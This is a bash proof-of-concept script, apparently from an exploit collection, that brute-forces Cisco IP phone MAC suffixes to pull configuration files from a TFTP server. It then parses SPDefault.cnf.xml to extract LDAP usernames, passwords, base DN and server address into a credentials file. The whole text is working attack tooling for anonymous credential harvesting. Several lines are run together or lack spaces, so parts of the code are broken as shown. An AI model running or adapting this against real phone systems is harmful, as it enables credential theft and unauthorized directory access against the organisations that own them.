#!/bin/bash######################################################################## Proof of Concept on how to get tftp config files from cisco phones## This can be performed anonymously and privileges gathered relies on ## those assigned to the ldap account## Developed by Daniel Svartman(danielsvartman@gmail.com ## In case tftp files are encrypted, you will need to hijack a phone ## and download the decryption key from the ROM memory ######################################################################## # This example below is for enumerating and downloading configuration files from phones# With this you can gather personal information and sometimes also credentials from LDAP# The first 8 digits of the MAC address relies on cisco mac address used by phones# While the last 4 are generated automatically
BASE_MAC=$1
TFTP_SERVER=$2
perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }'> mac.txt
#Now we should download the fileswhile read LINE; do
tftp ${TFTP_SERVER}-c get SEP${BASE_MAC}${LINE}.cnf.xml
done < mac.txt
#Finally, we download and process also the SPDefault.cnf.xml file
tftp ${TFTP_SERVER}-c get SPDefault.cnf.xml
USERID=`grep "UseUserCredential"SPDefault.cnf.xml | cut -d ">"-f 6| cut -d "<"-f 1`
echo "USERID: " $USERID > credentials.txt
PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">"-f 8| cut -d "<"-f 1`
echo "PWD: " $PWD >> credentials.txt
BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">"-f 10| cut -d "<"-f 1`
echo "BASE_DN: " $BASE_DN >> credentials.txt
while read LINE; do
if["$LINE"="<ProductType>Directory"]; then
read LINE
ADDRESS=`echo $LINE | cut -d ">"-f 2| cut -d "<"-f 1`
echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt
fi
done < SPDefault.cnf.xml
echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"